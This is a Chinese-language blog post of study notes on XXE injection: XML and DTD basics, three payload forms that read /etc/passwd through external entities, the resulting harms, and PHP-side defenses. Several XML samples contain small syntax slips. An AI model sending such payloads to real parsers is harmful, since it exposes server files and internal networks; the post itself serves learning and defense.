• XXE漏洞学习


    0x00 什么是XXE

    XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。

    所以,学习XXE漏洞当然要先了解XML基础。

    0x01 XML基础

    1.文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    <!--XML声明-->
    <?xml version="1.0"?> 
    <!--文档类型定义-->
    <!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
    <!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
    <!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
    <!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
    ]]]>
    <!--文档元素-->
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>
    

    所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

    • 元素
    • 属性
    • 实体,用来定义普通文本的变量
    • PCDATA,被解析的字符数据(parsed character data)
    • CDATA ,字符数据(character data)

    2.DTD

    文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    内部的 DOCTYPE 声明

    <!DOCTYPE 根元素 [元素声明]>
    

    外部文档声明

    <!DOCTYPE 根元素 SYSTEM "文件名">
    

    3.DTD实体

    • 参数实体用%实体名称申明,引用时也用%实体名称;
      其余实体直接用实体名称申明,引用时用&实体名称。
    • 参数实体只能在DTD中申明,DTD中引用;
      其余实体只能在DTD中申明,可在xml文档中引用。

    内部实体声明
    语法:

    <!ENTITY 实体名称 "实体的值">
    

    EG:

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer "0nc3">
    <!ENTITY blog "blog.csdn.net/syy0201">
    ]>
    <author>&writer;&blog;</author>
    

    外部实体声明
    语法:

    <!ENTITY 实体名称 SYSTEM "URI">
    

    EG:

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY writer SYSTEM "https://blog.csdn.net/syy0201">
    <!ENTITY blog SYSTEM "https://blog.csdn.net/syy0201">
     ]>
     <author>&writer;&blog;</author>
    

    参数实体声明
    语法:

    <!ENTITY % 实体名称 "实体的值">
    或者
    <!ENTITY % 实体名称 SYSTEM "URI">
    

    EG:

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY % writer "0nc3">
    <!ENTITY % blog "https://blog.csdn.net/syy0201">
     ]>
     <author>&writer;&blog;</author>
    

    0x02 构造XXE

    方式一:直接通过DTD外部实体声明

    	<?xml version="1.0"?>
        <!DOCTYPE 0nc3[
        <!ENTITY f SYSTEM "file:///etc/passwd">
         ]>
         <hhh>&f;<hhh>
    

    方式二:通过DTD文档引入外部DTD文档中的外部实体声明
    XML文件内容:

    	<?xml version="1.0"?>
        <!DOCTYPE  0nc3 SYSTEM "https://blog.csdn.net/syy0201/0nc3.dtd">
        <hhh>&f;<hhh>
    

    DTD文件内容:

        <!ENTITY f SYSTEM "file:///etc/passwd">
    

    方式三:通过DTD外部实体声明引入外部DTD文档中的外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE 0nc3[
    <!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/0nc3.dtd">
    ]>
    <hhh>&f;<hhh>
    

    0nc3.dtd的外部实体声明内容:

     <!ENTITY f SYSTEM "file:///etc/passwd">
    

    !!注意:方式二和方式三一个是通过DTD文档引入,一个是通过DTD外部实体声明引入。

    0x03 XXE带来的危害

    1.文件读取

    2.命令执行

    3.内网探测/SSRF
    借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息

    先存着几篇关于XXE漏洞利用写得很棒的文章,下次再深入学习~
    XXE漏洞利用技巧:从XML到远程代码执行
    未知攻焉知防——XXE漏洞攻防

    0x04 如何防御XXE

    1.过滤用户提交的XML数据
    过滤关键词:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC
    2. PHP下

    libxml_disable_entity_loader(true);
    

    0x05 参考

    http://www.91ri.org/9539.html
    https://thief.one/2017/06/20/1/
    https://www.jianshu.com/p/7325b2ef8fc9

  • 相关阅读:
    AspNetPager
    c#转码解码
    sqlserver插入datetime
    easyui treeJson 带层数
    onblur判断数字
    MemoryStream 转 pdf
    比较全的 C# 操作 Word的代码
    C#代码实现把网页文件保存为mht文件
    C# html转mht
    Asp.Net MVC 在后台获取PartialView、View文件生成的字符串
  • 原文地址:https://www.cnblogs.com/0nc3/p/12063466.html
Copyright © 2020-2023  润新知